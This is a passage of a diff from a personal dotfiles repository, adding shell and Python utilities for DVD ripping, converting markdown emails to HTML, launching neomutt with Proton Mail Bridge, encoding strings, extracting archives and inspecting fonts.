||||
yield MakeTitle(title_name, i, title_info)
|
||||
else:
|
||||
warn("Cannot parse scan of title %d." % i)
|
||||
|
||||
def Eject(self):
|
||||
# TODO: this should really be a while loop that terminates once a
|
||||
# deadline is met.
|
||||
for i in range(TOTAL_EJECT_SECONDS * EJECT_ATTEMPTS_PER_SECOND):
|
||||
if not subprocess.call(['eject', self.mountpoint]):
|
||||
return
|
||||
time.sleep(1.0 / EJECT_ATTEMPTS_PER_SECOND)
|
||||
|
||||
def ParseDuration(s):
|
||||
result = 0
|
||||
for field in s.strip().split(':'):
|
||||
result *= 60
|
||||
result += int(field)
|
||||
return result
|
||||
|
||||
def FindMountPoint(dev, timeout):
|
||||
regex = re.compile(r'^' + re.escape(os.path.realpath(dev)) + r'\b')
|
||||
|
||||
now = time.time()
|
||||
end_time = now + timeout
|
||||
while end_time >= now:
|
||||
for line in check_output(['df', '-P']).split('\n'):
|
||||
m = regex.match(line)
|
||||
if m:
|
||||
line = line.split(None, 5)
|
||||
if len(line) > 1:
|
||||
return line[-1]
|
||||
time.sleep(0.1)
|
||||
now = time.time()
|
||||
raise UserError('%r not mounted.' % dev)
|
||||
|
||||
def FindMainFeature(titles, verbose=False):
|
||||
if verbose:
|
||||
print('Attempting to determine main feature of %d titles...'
|
||||
% len(titles))
|
||||
main_feature = max(titles,
|
||||
key=lambda title: ParseDuration(title.info['duration']))
|
||||
if verbose:
|
||||
print('Selected %r as main feature.' % main_feature.number)
|
||||
print()
|
||||
|
||||
def ConstructTasks(titles, chapter_split):
|
||||
for title in titles:
|
||||
num_chapters = len(title.info['chapters'])
|
||||
if chapter_split and num_chapters > 1:
|
||||
for chapter in range(1, num_chapters + 1):
|
||||
yield Task(title, chapter)
|
||||
else:
|
||||
yield Task(title, None)
|
||||
|
||||
def TaskFilenames(tasks, output, dry_run=False):
|
||||
if (len(tasks) > 1):
|
||||
def ComputeFileName(task):
|
||||
if task.chapter is None:
|
||||
return os.path.join(output,
|
||||
'Title%02d.mkv' % task.title.number)
|
||||
else:
|
||||
return os.path.join(output,
|
||||
'Title%02d_%02d.mkv'
|
||||
% (task.title.number, task.chapter))
|
||||
if not dry_run:
|
||||
os.makedirs(output)
|
||||
else:
|
||||
def ComputeFileName(task):
|
||||
return '%s.mkv' % output
|
||||
result = [ComputeFileName(task) for task in tasks]
|
||||
if len(set(result)) != len(result):
|
||||
raise UserError("multiple tasks use same filename")
|
||||
return result
|
||||
|
||||
def PerformTasks(dvd, tasks, title_count, filenames,
|
||||
dry_run=False, verbose=False):
|
||||
for task, filename in zip(tasks, filenames):
|
||||
print('=' * 78)
|
||||
if task.chapter is None:
|
||||
print('Title %s / %s => %r'
|
||||
% (task.title.number, title_count, filename))
|
||||
else:
|
||||
num_chapters = len(task.title.info['chapters'])
|
||||
print('Title %s / %s , Chapter %s / %s=> %r'
|
||||
% (task.title.number, title_count, task.chapter,
|
||||
num_chapters, filename))
|
||||
print('-' * 78)
|
||||
dvd.RipTitle(task, filename, dry_run, verbose)
|
||||
|
||||
Size = namedtuple('Size',
|
||||
['width', 'height', 'pix_aspect_width', 'pix_aspect_height', 'fps'])
|
||||
|
||||
SIZE_REGEX = re.compile(
|
||||
r'^\s*(\d+)x(\d+),\s*'
|
||||
r'pixel aspect: (\d+)/(\d+),\s*'
|
||||
r'display aspect: (?:\d+(?:\.\d+)),\s*'
|
||||
r'(\d+(?:\.\d+)) fps\s*$')
|
||||
|
||||
SIZE_CTORS = [int] * 4 + [float]
|
||||
|
||||
def ParseSize(s):
|
||||
return Size(*(f(x)
|
||||
for f, x in zip(SIZE_CTORS, SIZE_REGEX.match(s).groups())))
|
||||
|
||||
def ComputeAspectRatio(size):
|
||||
w = size.width * size.pix_aspect_width
|
||||
h = size.height * size.pix_aspect_height
|
||||
d = gcd(w, h)
|
||||
return (w // d, h // d)
|
||||
|
||||
DURATION_REGEX = re.compile(
|
||||
r'^(?:.*,)?\s*duration\s+(\d\d):(\d\d):(\d\d)\s*(?:,.*)?$')
|
||||
|
||||
class Duration(namedtuple('Duration', 'hours minutes seconds')):
|
||||
def __str__(self):
|
||||
return '%02d:%02d:%02d' % (self)
|
||||
|
||||
def in_seconds(self):
|
||||
return 60 * (60 * self.hours + self.minutes) + self.seconds
|
||||
|
||||
def ExtractDuration(s):
|
||||
return Duration(*map(int, DURATION_REGEX.match(s).groups()))
|
||||
|
||||
Chapter = namedtuple('Chapter', 'number duration')
|
||||
|
||||
def ParseChapters(d):
|
||||
"""
|
||||
Parses dictionary of (str) chapter numbers to chapter.
|
||||
|
||||
Result will be an iterable of Chapter objects, sorted by number.
|
||||
"""
|
||||
for number, info in sorted(((int(n), info) for (n, info) in d.items())):
|
||||
yield Chapter(number, ExtractDuration(info))
|
||||
|
||||
AUDIO_TRACK_REGEX = re.compile(
|
||||
r'^(\S+)\s*((?:\([^)]*\)\s*)*)(?:,\s*(.*))?$')
|
||||
|
||||
AUDIO_TRACK_FIELD_REGEX = re.compile(
|
||||
r'^\(([^)]*)\)\s*\(([^)]*?)\s*ch\)\s*' +
|
||||
r'((?:\([^()]*\)\s*)*)\(iso639-2:\s*([^)]+)\)$')
|
||||
|
||||
AudioTrack = namedtuple('AudioTrack',
|
||||
'number lang codec channels iso639_2 extras')
|
||||
|
||||
def ParseAudioTracks(d):
|
||||
for number, info in sorted(((int(n), info) for (n, info) in d.items())):
|
||||
m = AUDIO_TRACK_REGEX.match(info)
|
||||
if m:
|
||||
lang, field_string, extras = m.groups()
|
||||
m2 = AUDIO_TRACK_FIELD_REGEX.match(field_string)
|
||||
if m2:
|
||||
codec, channels, more_extras, iso639_2 = m2.groups()
|
||||
if more_extras:
|
||||
extras = more_extras + extras
|
||||
yield AudioTrack(number, lang, codec, channels,
|
||||
iso639_2, extras)
|
||||
else:
|
||||
warn('Cannot parse audio track fields %r' % field_string)
|
||||
else:
|
||||
warn('Cannot parse audio track info %r' % info)
|
||||
|
||||
SUB_TRACK_REGEX = re.compile(
|
||||
r'^(\S(?:.*\S)?)\s+\(iso639-2:\s*([^)]+)\)\s*((?:\S(?:.*\S)?)?)$')
|
||||
|
||||
SubtitleTrack = namedtuple('SubtitleTrack',
|
||||
'number name iso639_2 extras')
|
||||
|
||||
def ParseSubtitleTracks(d):
|
||||
for number, info in sorted(((int(n), info) for (n, info) in d.items())):
|
||||
m = SUB_TRACK_REGEX.match(info)
|
||||
if( m ):
|
||||
assert m, 'UNMATCHED %r' % info
|
||||
name, iso639_2, extras = m.groups()
|
||||
yield SubtitleTrack(number, name, iso639_2, extras)
|
||||
else:
|
||||
yield SubtitleTrack(number, info, '', '')
|
||||
|
||||
|
||||
def RenderBar(start, length, total, width):
|
||||
end = start + length
|
||||
start = int(round(start * (width - 1) / total))
|
||||
length = int(round(end * (width - 1) / total)) - start + 1
|
||||
return ('‥' * start +
|
||||
'■' * length +
|
||||
'‥' * (width - start - length))
|
||||
|
||||
MAX_BAR_WIDTH = 50
|
||||
|
||||
def DisplayScan(titles):
|
||||
max_title_seconds = max(
|
||||
title.info['duration'].in_seconds()
|
||||
for title in titles)
|
||||
|
||||
for title in titles:
|
||||
info = title.info
|
||||
size = ParseSize(info['size'])
|
||||
xaspect, yaspect = ComputeAspectRatio(size)
|
||||
duration = info['duration']
|
||||
title_seconds = duration.in_seconds()
|
||||
print('Title % 3d/% 3d: %s %d×%d %d:%d %3g fps' %
|
||||
(title.number, len(titles), duration, size.width,
|
||||
size.height, xaspect, yaspect, size.fps))
|
||||
for at in ParseAudioTracks(info['audio tracks']):
|
||||
print(' audio % 3d: %s (%sch) [%s]' %
|
||||
(at.number, at.lang, at.channels, at.extras))
|
||||
for sub in ParseSubtitleTracks(info['subtitle tracks']):
|
||||
print(' sub % 3d: %s [%s]' %
|
||||
(sub.number, sub.name, sub.extras))
|
||||
position = 0
|
||||
if title_seconds > 0:
|
||||
for chapter in ParseChapters(info['chapters']):
|
||||
seconds = chapter.duration.in_seconds()
|
||||
bar_width = int(round(
|
||||
MAX_BAR_WIDTH * title_seconds / max_title_seconds))
|
||||
bar = RenderBar(position, seconds, title_seconds, bar_width)
|
||||
print(' chapter % 3d: %s ◖%s◗'
|
||||
% (chapter.number, chapter.duration, bar))
|
||||
position += seconds
|
||||
print()
|
||||
|
||||
def ParseArgs():
|
||||
description, epilog = __doc__.strip().split('\n', 1)
|
||||
parser = argparse.ArgumentParser(description=description, epilog=epilog,
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
parser.add_argument('-v', '--verbose',
|
||||
action='store_true',
|
||||
help="Increase verbosity.")
|
||||
parser.add_argument('-c', '--chapter_split',
|
||||
action='store_true',
|
||||
help="Split each chapter out into a separate file.")
|
||||
parser.add_argument('-n', '--dry-run',
|
||||
action='store_true',
|
||||
help="Don't actually write anything.")
|
||||
parser.add_argument('--scan',
|
||||
action='store_true',
|
||||
help="Display scan of disc; do not rip.")
|
||||
parser.add_argument('--main-feature',
|
||||
action='store_true',
|
||||
help="Rip only the main feature title.")
|
||||
parser.add_argument('-t', '--titles',
|
||||
default="*",
|
||||
help="""Comma-separated list of title numbers to consider
|
||||
(starting at 1) or * for all titles.""")
|
||||
parser.add_argument('-i', '--input',
|
||||
help="Volume to rip (must be a directory).")
|
||||
parser.add_argument('-o', '--output',
|
||||
help="""Output location. Extension is added if only one title
|
||||
being ripped, otherwise, a directory will be created to contain
|
||||
ripped titles.""")
|
||||
parser.add_argument('--mount-timeout',
|
||||
default=15,
|
||||
help="Amount of time to wait for a mountpoint to be mounted",
|
||||
type=float)
|
||||
args = parser.parse_args()
|
||||
if not args.scan and args.output is None:
|
||||
raise UserError("output argument is required")
|
||||
return args
|
||||
|
||||
# TODO: make it possible to have ranges with no end (meaning they end at last
|
||||
# title)
|
||||
NUM_RANGE_REGEX = re.compile(r'^(\d*)-(\d+)|(\d+)$')
|
||||
def parse_titles_arg(titles_arg):
|
||||
if titles_arg == '*':
|
||||
return None # all titles
|
||||
else:
|
||||
def str_to_ints(s):
|
||||
m = NUM_RANGE_REGEX.match(s)
|
||||
if not m :
|
||||
raise UserError(
|
||||
"--titles must be * or list of integer ranges, found %r" %
|
||||
titles_arg)
|
||||
else:
|
||||
start,end,only = m.groups()
|
||||
if only is not None:
|
||||
return [int(only)]
|
||||
else:
|
||||
start = int(start) if start else 1
|
||||
end = int(end)
|
||||
return range(start, end + 1)
|
||||
result = set()
|
||||
for s in titles_arg.split(','):
|
||||
result.update(str_to_ints(s))
|
||||
result = sorted(list(result))
|
||||
return result
|
||||
|
||||
def main():
|
||||
args = ParseArgs()
|
||||
dvd = DVD(args.input, args.verbose, args.mount_timeout)
|
||||
print('Reading from %r' % dvd.mountpoint)
|
||||
title_numbers = parse_titles_arg(args.titles)
|
||||
titles = tuple(dvd.ScanTitles(title_numbers, args.verbose))
|
||||
|
||||
if args.scan:
|
||||
DisplayScan(titles)
|
||||
else:
|
||||
if args.main_feature and len(titles) > 1:
|
||||
# TODO: make this affect scan as well
|
||||
titles = [FindMainFeature(titles, args.verbose)]
|
||||
|
||||
if not titles:
|
||||
raise UserError("No titles to rip")
|
||||
else:
|
||||
if not args.output:
|
||||
raise UserError("No output specified")
|
||||
print('Writing to %r' % args.output)
|
||||
tasks = tuple(ConstructTasks(titles, args.chapter_split))
|
||||
|
||||
filenames = TaskFilenames(tasks, args.output, dry_run=args.dry_run)
|
||||
# Don't stomp on existing files
|
||||
for filename in filenames:
|
||||
if os.path.exists(filename):
|
||||
raise UserError('%r already exists' % filename)
|
||||
|
||||
PerformTasks(dvd, tasks, len(titles), filenames,
|
||||
dry_run=args.dry_run, verbose=args.verbose)
|
||||
|
||||
print('=' * 78)
|
||||
if not args.dry_run:
|
||||
dvd.Eject()
|
||||
|
||||
def warn(msg):
|
||||
print('warning: %s' % (msg,), file=sys.stderr)
|
||||
|
||||
if __name__ == '__main__':
|
||||
error = None
|
||||
try:
|
||||
main()
|
||||
except FileExistsError as exc:
|
||||
error = '%s: %r' % (exc.strerror, exc.filename)
|
||||
except UserError as exc:
|
||||
error = exc.message
|
||||
|
||||
if error is not None:
|
||||
print('%s: error: %s'
|
||||
% (os.path.basename(sys.argv[0]), error), file=sys.stderr)
|
||||
sys.exit(1)
|
239
bin/.bin/emails/MIMEmbellish
Executable file
239
bin/.bin/emails/MIMEmbellish
Executable file
|
@ -0,0 +1,239 @@
|
|||
#!/usr/bin/env python3
|
||||
# Original Source: https://github.com/oblitum/dotfiles/blob/ArchLinux/.local/bin/MIMEmbellish
|
||||
|
||||
import re
|
||||
import sys
|
||||
import email
|
||||
import shlex
|
||||
import mimetypes
|
||||
import subprocess
|
||||
from copy import copy
|
||||
from hashlib import md5
|
||||
from email import charset
|
||||
from email import encoders
|
||||
from email.mime.text import MIMEText
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.nonmultipart import MIMENonMultipart
|
||||
from os.path import basename, splitext, expanduser
|
||||
|
||||
|
||||
charset.add_charset('utf-8', charset.SHORTEST, '8bit')
|
||||
|
||||
|
||||
def pandoc(from_format, to_format='markdown', plain='markdown', title=None):
|
||||
markdown = ('markdown'
|
||||
'-blank_before_blockquote')
|
||||
|
||||
if from_format == 'plain':
|
||||
from_format = plain
|
||||
if from_format == 'markdown':
|
||||
from_format = markdown
|
||||
if to_format == 'markdown':
|
||||
to_format = markdown
|
||||
|
||||
command = 'pandoc -f {} -t {} --standalone --highlight-style=tango'
|
||||
if to_format in ('html', 'html5'):
|
||||
if title is not None:
|
||||
command += ' --variable=pagetitle:{}'.format(shlex.quote(title))
|
||||
command += ' --webtex --template={}'.format(
|
||||
expanduser('~/.pandoc/templates/email.html'))
|
||||
return command.format(from_format, to_format)
|
||||
|
||||
|
||||
def gmailfy(payload):
|
||||
return payload.replace('<blockquote>',
|
||||
'<blockquote class="gmail_quote" style="'
|
||||
'padding: 0 7px 0 7px;'
|
||||
'border-left: 2px solid #cccccc;'
|
||||
'font-style: italic;'
|
||||
'margin: 0 0 7px 3px;'
|
||||
'">')
|
||||
|
||||
|
||||
def make_alternative(message, part):
|
||||
alternative = convert(part, 'html',
|
||||
pandoc(part.get_content_subtype(),
|
||||
to_format='html',
|
||||
title=message.get('Subject')))
|
||||
alternative.set_payload(gmailfy(alternative.get_payload()))
|
||||
return alternative
|
||||
|
||||
|
||||
def make_replacement(message, part):
|
||||
return convert(part, 'plain', pandoc(part.get_content_subtype()))
|
||||
|
||||
|
||||
def convert(part, to_subtype, command):
|
||||
payload = part.get_payload()
|
||||
if isinstance(payload, str):
|
||||
payload = payload.encode('utf-8')
|
||||
else:
|
||||
payload = part.get_payload(None, True)
|
||||
if not isinstance(payload, bytes):
|
||||
payload = payload.encode('utf-8')
|
||||
process = subprocess.run(
|
||||
shlex.split(command),
|
||||
input=payload, stdout=subprocess.PIPE, check=True)
|
||||
return MIMEText(process.stdout, to_subtype, 'utf-8')
|
||||
|
||||
|
||||
def with_alternative(parent, part, from_signed,
|
||||
make_alternative=make_alternative,
|
||||
make_replacement=None):
|
||||
try:
|
||||
alternative = make_alternative(parent or part, from_signed or part)
|
||||
replacement = (make_replacement(parent or part, part)
|
||||
if from_signed is None and make_replacement is not None
|
||||
else part)
|
||||
except:
|
||||
return parent or part
|
||||
envelope = MIMEMultipart('alternative')
|
||||
if parent is None:
|
||||
for k, v in part.items():
|
||||
if (k.lower() != 'mime-version'
|
||||
and not k.lower().startswith('content-')):
|
||||
envelope.add_header(k, v)
|
||||
del part[k]
|
||||
envelope.attach(replacement)
|
||||
envelope.attach(alternative)
|
||||
if parent is None:
|
||||
return envelope
|
||||
payload = parent.get_payload()
|
||||
payload[payload.index(part)] = envelope
|
||||
return parent
|
||||
|
||||
|
||||
def tag_attachments(message):
|
||||
if message.get_content_type() == 'multipart/mixed':
|
||||
for part in message.get_payload():
|
||||
if (part.get_content_maintype() in ['image']
|
||||
and 'Content-ID' not in part):
|
||||
filename = part.get_param('filename',
|
||||
header='Content-Disposition')
|
||||
if isinstance(filename, tuple):
|
||||
filename = str(filename[2], filename[0] or 'us-ascii')
|
||||
if filename:
|
||||
filename = splitext(basename(filename))[0]
|
||||
if filename:
|
||||
part.add_header('Content-ID', '<{}>'.format(filename))
|
||||
return message
|
||||
|
||||
|
||||
def attachment_from_file_path(attachment_path):
|
||||
try:
|
||||
mime, encoding = mimetypes.guess_type(attachment_path, strict=False)
|
||||
maintype, subtype = mime.split('/')
|
||||
with open(attachment_path, 'rb') as payload:
|
||||
attachment = MIMENonMultipart(maintype, subtype)
|
||||
attachment.set_payload(payload.read())
|
||||
encoders.encode_base64(attachment)
|
||||
if encoding:
|
||||
attachment.add_header('Content-Encoding', encoding)
|
||||
return attachment
|
||||
except:
|
||||
return None
|
||||
|
||||
|
||||
attachment_path_pattern = re.compile(r'\]\s*\(\s*file://(/[^)]*\S)\s*\)|'
|
||||
r'\]\s*:\s*file://(/.*\S)\s*$',
|
||||
re.MULTILINE)
|
||||
|
||||
|
||||
def link_attachments(payload):
|
||||
attached = []
|
||||
attachments = []
|
||||
|
||||
def on_match(match):
|
||||
if match.group(1):
|
||||
attachment_path = match.group(1)
|
||||
cid_fmt = '](cid:{})'
|
||||
else:
|
||||
attachment_path = match.group(2)
|
||||
cid_fmt = ']: cid:{}'
|
||||
attachment_id = md5(attachment_path.encode()).hexdigest()
|
||||
if attachment_id in attached:
|
||||
return cid_fmt.format(attachment_id)
|
||||
attachment = attachment_from_file_path(attachment_path)
|
||||
if attachment:
|
||||
attachment.add_header('Content-ID', '<{}>'.format(attachment_id))
|
||||
attachments.append(attachment)
|
||||
attached.append(attachment_id)
|
||||
return cid_fmt.format(attachment_id)
|
||||
return match.group()
|
||||
|
||||
return attachments, attachment_path_pattern.sub(on_match, payload)
|
||||
|
||||
|
||||
def with_local_attachments(parent, part, from_signed,
|
||||
link_attachments=link_attachments):
|
||||
if from_signed is None:
|
||||
attachments, payload = link_attachments(part.get_payload())
|
||||
part.set_payload(payload)
|
||||
else:
|
||||
attachments, payload = link_attachments(from_signed.get_payload())
|
||||
from_signed = copy(from_signed)
|
||||
from_signed.set_payload(payload)
|
||||
if not attachments:
|
||||
return parent, part, from_signed
|
||||
if parent is None:
|
||||
parent = MIMEMultipart('mixed')
|
||||
for k, v in part.items():
|
||||
if (k.lower() != 'mime-version'
|
||||
and not k.lower().startswith('content-')):
|
||||
parent.add_header(k, v)
|
||||
del part[k]
|
||||
parent.attach(part)
|
||||
for attachment in attachments:
|
||||
parent.attach(attachment)
|
||||
return parent, part, from_signed
|
||||
|
||||
|
||||
def is_target(part, target_subtypes):
|
||||
return (part.get('Content-Disposition', 'inline') == 'inline'
|
||||
and part.get_content_maintype() == 'text'
|
||||
and part.get_content_subtype() in target_subtypes)
|
||||
|
||||
|
||||
def pick_from_signed(part, target_subtypes):
|
||||
for from_signed in part.get_payload():
|
||||
if is_target(from_signed, target_subtypes):
|
||||
return from_signed
|
||||
|
||||
|
||||
def seek_target(message, target_subtypes=['plain', 'markdown']):
|
||||
if message.is_multipart():
|
||||
if message.get_content_type() == 'multipart/signed':
|
||||
part = pick_from_signed(message, target_subtypes)
|
||||
if part is not None:
|
||||
return None, message, part
|
||||
elif message.get_content_type() == 'multipart/mixed':
|
||||
for part in message.get_payload():
|
||||
if part.is_multipart():
|
||||
if part.get_content_type() == 'multipart/signed':
|
||||
from_signed = pick_from_signed(part, target_subtypes)
|
||||
if from_signed is not None:
|
||||
return message, part, from_signed
|
||||
elif is_target(part, target_subtypes):
|
||||
return message, part, None
|
||||
else:
|
||||
if is_target(message, target_subtypes):
|
||||
return None, message, None
|
||||
return None, None, None
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
message = email.message_from_file(sys.stdin)
|
||||
parent, part, from_signed = seek_target(message)
|
||||
if (parent, part, from_signed) == (None, None, None):
|
||||
print(message)
|
||||
return
|
||||
tag_attachments(message)
|
||||
print(with_alternative(
|
||||
*with_local_attachments(parent, part, from_signed)))
|
||||
except (BrokenPipeError, KeyboardInterrupt):
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
9
bin/.bin/emails/mutt
Executable file
9
bin/.bin/emails/mutt
Executable file
|
@ -0,0 +1,9 @@
|
|||
#!/usr/bin/env sh
|
||||
|
||||
#Start proton mail bridge if not running
|
||||
if [ ! $(pgrep -f protonmail-br) ]; then
|
||||
setsid protonmail-bridge --no-window &
|
||||
sleep 5
|
||||
fi
|
||||
|
||||
neomutt
|
4
bin/.bin/emails/send-from-mutt
Executable file
4
bin/.bin/emails/send-from-mutt
Executable file
|
@ -0,0 +1,4 @@
|
|||
#!/bin/sh
|
||||
|
||||
EMAIL=$(pass Email/protonmail | grep BridgeUsername | cut -d':' -f2)
|
||||
~/.bin/emails/MIMEmbellish | msmtp --user "$EMAIL" "$@"
|
88
bin/.bin/encode
Executable file
88
bin/.bin/encode
Executable file
|
@ -0,0 +1,88 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
##Helper Functions
|
||||
|
||||
urlencodespecial() {
|
||||
# urlencode <string>
|
||||
old_lc_collate=$LC_COLLATE
|
||||
LC_COLLATE=C
|
||||
local length="${#1}"
|
||||
for (( i = 0; i < length; i++ )); do
|
||||
local c="${1:i:1}"
|
||||
case $c in
|
||||
[a-zA-Z0-9.~_-]) printf "$c" ;;
|
||||
*) printf '%%%02X' "'$c" ;;
|
||||
esac
|
||||
done
|
||||
LC_COLLATE=$old_lc_collate
|
||||
}
|
||||
|
||||
urlencodeall() {
|
||||
# urlencode <string>
|
||||
old_lc_collate=$LC_COLLATE
|
||||
LC_COLLATE=C
|
||||
local length="${#1}"
|
||||
for (( i = 0; i < length; i++ )); do
|
||||
local c="${1:i:1}"
|
||||
printf '%%%02X' "'$c"
|
||||
done
|
||||
LC_COLLATE=$old_lc_collate
|
||||
}
|
||||
|
||||
|
||||
string="$1"
|
||||
if [ -z "$string" ]; then
|
||||
string="$(cat)"
|
||||
fi
|
||||
|
||||
# Base 64
|
||||
echo -en "Base64\t"
|
||||
echo "$string" | base64 --wrap=0
|
||||
echo ""
|
||||
|
||||
#URL
|
||||
echo -en "URL\t"
|
||||
urlencodespecial "$string"
|
||||
echo ""
|
||||
|
||||
#URL All
|
||||
echo -en "URL All\t"
|
||||
urlencodeall "$string"
|
||||
echo ""
|
||||
|
||||
#Hex Encode
|
||||
echo -en "Hex\t"
|
||||
hex=$( echo -n "$string" | xxd -ps | sed 's/\([A-Fa-f0-9][A-Fa-f0-9]\)/\1 /g' | sed 's/ $//')
|
||||
echo "$hex"
|
||||
|
||||
#Hex Encode With 0x
|
||||
echo -en "Hex\t"
|
||||
echo -n "0x$hex" | sed -e 's/ / 0x/g'
|
||||
echo
|
||||
|
||||
#Decimal
|
||||
echo -en "Decimal\t"
|
||||
#for i in $(echo -n "$hex" ); do
|
||||
for i in $hex; do
|
||||
echo "ibase=16;$i" | bc
|
||||
echo
|
||||
done | tr '\n' ' '
|
||||
echo
|
||||
|
||||
#Octal
|
||||
echo -en "Octal\t"
|
||||
for i in $hex; do
|
||||
echo "ibase=16;obase=8;$i" | bc
|
||||
done | tr '\n' ' '
|
||||
echo
|
||||
|
||||
#Binary
|
||||
echo -en "Binary\t"
|
||||
for i in $hex; do
|
||||
echo "ibase=16;obase=2;$i" | bc | awk '{printf "%08d", $1}'
|
||||
echo
|
||||
done | tr '\n' ' '
|
||||
echo
|
||||
|
||||
|
||||
|
88
bin/.bin/extract
Executable file
88
bin/.bin/extract
Executable file
|
@ -0,0 +1,88 @@
|
|||
#!/usr/bin/bash
|
||||
|
||||
if [ -f $1 ] ; then
|
||||
case $1 in
|
||||
*.tar.bz2)
|
||||
if [ "$2" ]; then
|
||||
tar xvjf $1 -C $2
|
||||
else
|
||||
tar xvjf $1
|
||||
fi
|
||||
;;
|
||||
*.tar.gz)
|
||||
if [ "$2" ]; then
|
||||
tar xvzf $1 -C $2
|
||||
else
|
||||
tar xvzf $1
|
||||
fi
|
||||
;;
|
||||
*.bz2)
|
||||
if [ "$2" ]; then
|
||||
bunzip -c $1 > $2
|
||||
else
|
||||
bunzip $1
|
||||
fi
|
||||
;;
|
||||
#*.rar) rar x $1 ;;
|
||||
*.gz)
|
||||
if [ "$2" ]; then
|
||||
gunzip -c $1 > $2
|
||||
else
|
||||
gunzip $1
|
||||
fi
|
||||
;;
|
||||
*.rar)
|
||||
if [ "$2" ]; then
|
||||
#tar xvf $1 -C $2
|
||||
echo "Look into how to unrar into directory"
|
||||
else
|
||||
unrar x $1
|
||||
fi
|
||||
;;
|
||||
*.tar)
|
||||
if [ "$2" ]; then
|
||||
tar xvf $1 -C $2
|
||||
else
|
||||
tar xvf $1
|
||||
fi
|
||||
;;
|
||||
*.tbz2)
|
||||
if [ "$2" ]; then
|
||||
tar xvjf $1 -C $2
|
||||
else
|
||||
tar xvjf $1
|
||||
fi
|
||||
;;
|
||||
*.tgz)
|
||||
if [ "$2" ]; then
|
||||
tar xvzf $1 -C $2
|
||||
else
|
||||
tar xvzf $1
|
||||
fi
|
||||
;;
|
||||
*.zip)
|
||||
if [ "$2" ]; then
|
||||
unzip $1 -d $2
|
||||
else
|
||||
unzip $1
|
||||
fi
|
||||
;;
|
||||
*.Z)
|
||||
if [ "$2" ]; then
|
||||
uncompress -c $1 > $2
|
||||
else
|
||||
uncompress $1
|
||||
fi
|
||||
;;
|
||||
*.7z)
|
||||
if [ "$2" ]; then
|
||||
7z x $1 -o$2
|
||||
else
|
||||
7z x $1
|
||||
fi
|
||||
;;
|
||||
*) echo "don't know how to extract '$1'..." ;;
|
||||
esac
|
||||
else
|
||||
echo "'$1' is not a valid file!"
|
||||
fi
|
33
bin/.bin/folder-shell
Executable file
33
bin/.bin/folder-shell
Executable file
|
@ -0,0 +1,33 @@
|
|||
#!/bin/bash
|
||||
# i3 thread: https://faq.i3wm.org/question/150/how-to-launch-a-terminal-from-here/?answer=152#post-id-152
|
||||
|
||||
# I stole this from here: https://gist.github.com/viking/5851049 and modified it slightly
|
||||
|
||||
CMD=$TERMINAL
|
||||
CWD=''
|
||||
|
||||
if [ ! -z "$1" ]; then
|
||||
CMD="${CMD} -e $1"
|
||||
fi;
|
||||
|
||||
# Get window ID
|
||||
ID=$(xdpyinfo | grep focus | cut -f4 -d " ")
|
||||
|
||||
# Get PID of process whose window this is
|
||||
PID=$(xprop -id $ID | grep -m 1 PID | cut -d " " -f 3)
|
||||
|
||||
# Get last child process (shell, vim, etc)
|
||||
if [ -n "$PID" ]; then
|
||||
TREE=$(pstree -lpA $PID | tail -n 1)
|
||||
PID=$(echo $TREE | awk -F'---' '{print $NF}' | sed -re 's/[^0-9]//g')
|
||||
|
||||
# If we find the working directory, run the command in that directory
|
||||
if [ -e "/proc/$PID/cwd" ]; then
|
||||
CWD=$(readlink /proc/$PID/cwd)
|
||||
fi
|
||||
fi
|
||||
if [ -n "$CWD" ]; then
|
||||
cd "$CWD" && $CMD
|
||||
else
|
||||
$CMD
|
||||
fi
|
15
bin/.bin/fonts/changeFontFamily
Executable file
15
bin/.bin/fonts/changeFontFamily
Executable file
|
@ -0,0 +1,15 @@
|
|||
#!/usr/bin/env python
|
||||
import fontforge as ff
|
||||
import sys
|
||||
|
||||
args = sys.argv[1:]
|
||||
|
||||
if args[0] == '--help':
|
||||
print("changeFontFamily <font> <family> <newFont>")
|
||||
else:
|
||||
font = args[0]
|
||||
family = args[1]
|
||||
newfont = args[2]
|
||||
f = ff.open( args[0] )
|
||||
f.familyname = family
|
||||
f.generate(newfont)
|
12
bin/.bin/fonts/fontFamily
Executable file
12
bin/.bin/fonts/fontFamily
Executable file
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env python
|
||||
import fontforge as ff
|
||||
import sys
|
||||
|
||||
args = sys.argv[1:]
|
||||
|
||||
if args[0] == '--help':
|
||||
print("fontFamily <font>")
|
||||
else:
|
||||
font = args[0]
|
||||
f = ff.open( args[0] )
|
||||
print( f.familyname )
|
12
bin/.bin/fonts/fontWeight
Executable file
12
bin/.bin/fonts/fontWeight
Executable file
|
@ -0,0 +1,12 @@
|
|||
#!/usr/bin/env python
|
||||
import fontforge as ff
|
||||
import sys
|
||||
|
||||
args = sys.argv[1:]
|
||||
|
||||
if args[0] == '--help':
|
||||
print("fontWeight <font>")
|
||||
else:
|
||||
font = args[0]
|
||||
f = ff.open( args[0] )
|
||||
print( f.os2_weight )
|
10
bin/.bin/freeEbook
Executable file
10
bin/.bin/freeEbook
Executable file
|
@ -0,0 +1,10 @@
|
|||
#!/usr/bin/bash
|
||||
markup=$(curl https://www.packtpub.com/packt/offers/free-learning 2> /dev/null | sed 's/"\/\//"https:\/\//g')
|
||||
#img=$(echo "$markup" | sed -n "/dotd-main-book-image/,$ p" | head | sed -n "/<img/ p")
|
||||
#img=$(echo "$markup" | sed -n "/dotd-main-book-image/,$ p" | head | sed -n "/<img/ p" | sed -nr "s/.*<img.*?src=[\"|'](.*?)[\"|'].*/\3/p")
|
||||
img=$(echo "$markup" | sed -n "/dotd-main-book-image/,$ p" | head | sed -n "/<img/ p" | sed -nr 's/.*?<img src="([^"]*)".*img.*/\1/p')
|
||||
curl "$img" > /tmp/freeBook 2> /dev/null
|
||||
clear
|
||||
imgcat /tmp/freeBook
|
||||
rm /tmp/freeBook
|
||||
echo "https://www.packtpub.com/packt/offers/free-learning#"
|
26
bin/.bin/git/git-branch-summary
Executable file
26
bin/.bin/git/git-branch-summary
Executable file
|
@ -0,0 +1,26 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Prints the number of commits between branches and a main branch (master by defaunt)
|
||||
|
||||
mainBranch="${1-master}"
|
||||
|
||||
|
||||
for branch in $(git branch -a --format "%(refname:short)"); do
|
||||
|
||||
